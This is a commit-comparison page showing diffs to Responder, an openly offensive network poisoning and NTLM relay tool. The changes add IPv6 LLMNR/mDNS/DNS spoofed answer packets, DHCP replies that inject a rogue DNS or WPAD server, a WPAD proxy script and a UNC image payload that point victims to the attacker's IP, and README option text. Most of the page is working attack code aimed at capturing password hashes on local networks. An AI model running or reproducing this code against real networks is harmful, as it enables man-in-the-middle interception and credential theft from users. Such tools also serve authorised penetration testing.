Compare commits

...

14 Commits

Author SHA1 Message Date
lgandx
0b56d6aaeb removed fingerprint.py 2021-12-17 10:10:08 -03:00
lgandx
5d4510cc1d Added IPv6 support 2021-12-17 10:05:00 -03:00
lgandx
bc812da2ef Updated the Readme file with the new options and removed some old stuff 2021-12-17 00:32:12 -03:00
lgandx
3e8c9fdb0e added: dhcp inform 2021-12-13 20:30:14 -03:00
lgandx
76f6c88df3 Added DHCP DNS vs DHCP WPAD 2021-12-12 17:55:58 -03:00
lgandx
9dc779869b Added DHCP DNS vs WPAD srv injection 2021-12-12 17:02:08 -03:00
lgandx
505ec34324 Added DHCP DNS vs WPAD srv injection 2021-12-12 17:01:03 -03:00
lgandx
a0bf7a9baa minor display fix. 2021-12-12 12:26:02 -03:00
lgandx
bb17595e3f Added date and time for each Responder session config log. 2021-12-10 21:06:03 -03:00
lgandx
ba885b9345 added the ability to provide external IP on WPAD poison via DHCP 2021-12-09 22:38:44 -03:00
lgandx
568048710f Added a check for MSSQL 2021-12-08 19:57:20 -03:00
lgandx
3cd5140c80 Fixed the ON/OFF for poisoners when in Analyze mode. 2021-12-07 20:15:17 -03:00
lgandx
17e62bda1a Remove analyze mode on DNS since you need to ARP to get queries 2021-12-07 19:56:41 -03:00
lgandx
6e2c77168f Small fix 2021-12-07 17:59:54 -03:00
18 changed files with 482 additions and 283 deletions

View File

@@ -1,6 +1,6 @@
# Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -8,12 +8,12 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
## Intro ##
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
Responder is an LLMNR, NBT-NS and MDNS poisoner.
## Features ##
- Dual IPv6/IPv4 stack.
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
@@ -129,42 +129,48 @@ Typical Usage Example:
Options:
--version show program's version number and exit.
-h, --help show this help message and exit.
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use.
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: Off
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: Off
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
Off
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
Off
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to
be ON. This option is highly effective when combined
with -r. Default: Off
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: Off
--disable-ess Force ESS downgrade. Default: Off
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
## Donation ##
@@ -199,11 +205,6 @@ We would like to thanks those major sponsors:
Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ##

View File

@@ -74,7 +74,7 @@ def GetUniqueDHCP(cursor):
def GetRunFinger(cursor):
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
for row in res.fetchall():
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9])))
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")

View File

@@ -29,12 +29,12 @@ parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
@@ -73,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
@@ -89,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
TCPServer.server_bind(self)
@@ -105,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
@@ -116,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.251"
MADDR6 = 'ff02::fb'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if (sys.version_info > (3, 0)):
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -129,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.252"
MADDR = '224.0.0.252'
MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -151,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
#pass
pass
UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler)
serve_thread_udp_broadcast('', port, handler)
def serve_MDNS_poisoner(host, port, handler):
try:
server = ThreadingUDPMDNSServer((host, port), handler)
server = ThreadingUDPMDNSServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler):
try:
server = ThreadingUDPLLMNRServer((host, port), handler)
server = ThreadingUDPLLMNRServer(('', port), handler)
server.serve_forever()
except:
raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@@ -203,10 +226,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -214,10 +237,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -229,11 +252,11 @@ def serve_thread_SSL(host, port, handler):
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
except:
@@ -241,6 +264,10 @@ def serve_thread_SSL(host, port, handler):
def main():
try:
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
@@ -339,15 +366,12 @@ def main():
thread.setDaemon(True)
thread.start()
print(color('\n[+]', 2, 1) + " Listening for events...\n")
if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP
DHCP()
DHCP(settings.Config.DHCP_DNS)
while True:
time.sleep(1)

View File

@@ -1,66 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import sys
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
if (sys.version_info > (3, 0)):
length = struct.unpack('<H',data[43:45])[0]
packet = NetworkRecvBufferPython2or3(data[47+length:])
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate()
Packet = str(h)+str(n)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data)
except:
print(color("[!] ", 1, 1) +" Fingerprint failed")
return None

View File

@@ -23,7 +23,7 @@ import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -90,6 +90,32 @@ class DNS_Ans(Packet):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
@@ -181,6 +207,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
@@ -200,6 +255,29 @@ class MDNS_Ans(Packet):
])
def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
@@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -358,7 +436,7 @@ class WPADScript(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", "LGANDX"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),

View File

@@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import random
import optparse
import configparser
import os
@@ -79,12 +80,12 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = settings.Config.Interface
Responder_IP = FindLocalIP(Interface, None)
Responder_IP = RespondWithIP()
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "lan"
DNSNAME = "local"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True
DHCPClient = []
@@ -197,22 +198,28 @@ class DHCPACK(Packet):
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252", ""),
("Op252Len", ""),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
def calculate(self, DHCP_DNS):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
if DHCP_DNS:
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
@@ -236,7 +243,7 @@ def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data, ClientIP):
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient
global ROUTERIP
PTid = data[4:8]
@@ -262,7 +269,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
@@ -273,6 +280,26 @@ def ParseDHCPCode(data, ClientIP):
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
@@ -281,7 +308,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
